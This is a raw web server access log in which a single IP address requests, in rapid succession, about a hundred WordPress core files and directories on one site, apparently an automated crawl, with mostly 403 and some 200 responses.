45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/view-transitions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/block-patterns.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/feed-rss2.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/ms-deprecated.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/nav-menu-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:55 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-section.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/ai-client.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-parser.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-list-util.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-tax-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-image-editor-imagick.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/php-ai-client/ HTTP/1.1" 200 859 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-site-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/theme-templates.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/cache-compat.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-pop3.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-styles-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/fonts/ HTTP/1.1" 200 1414 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/wp-db.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-category.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-oembed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-theme-json-data.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-templates-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-connector-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-smtp.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-error.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-script-modules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/connectors.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/ms-files.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-metadata-lazyloader.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-speculation-rules.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-text-diff-renderer-table.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/option.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/abilities.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/feed-rdf.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-metadata-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/block-patterns/ HTTP/1.1" 200 1516 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/build/ HTTP/1.1" 200 1290 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-requests.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-navigation-fallback.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-recovery-mode-cookie-service.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wpdb.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/embed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-editor-context.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:56 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-session-tokens.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/https-migration.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/php-compat/ HTTP/1.1" 200 794 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-parser-frame.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-role.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-walker-category-dropdown.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-rewrite.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/cron.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/default-filters.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/functions.wp-scripts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/post-thumbnail-template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/sitemaps.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/abilities-api.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/sitemaps/ HTTP/1.1" 200 1330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-meta-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/taxonomy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/vars.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-customize-nav-menus.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/feed.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/revision.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/theme-previews.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/shortcodes.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/template.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block-type.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/IXR/ HTTP/1.1" 200 1457 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/?MA= HTTP/1.1" 200 9279 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-simplepie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/ms-blogs.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-comment-query.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/feed-atom-comments.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/feed-rss.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/theme.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/view-config.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/rest-api/ HTTP/1.1" 200 1357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-recovery-mode.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-widget.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/l10n.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/class-wp-block.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/PHPMailer/ HTTP/1.1" 200 1384 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:38:57 -0400] "GET /bestjudy.com.tw/wp-includes/default-constants.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
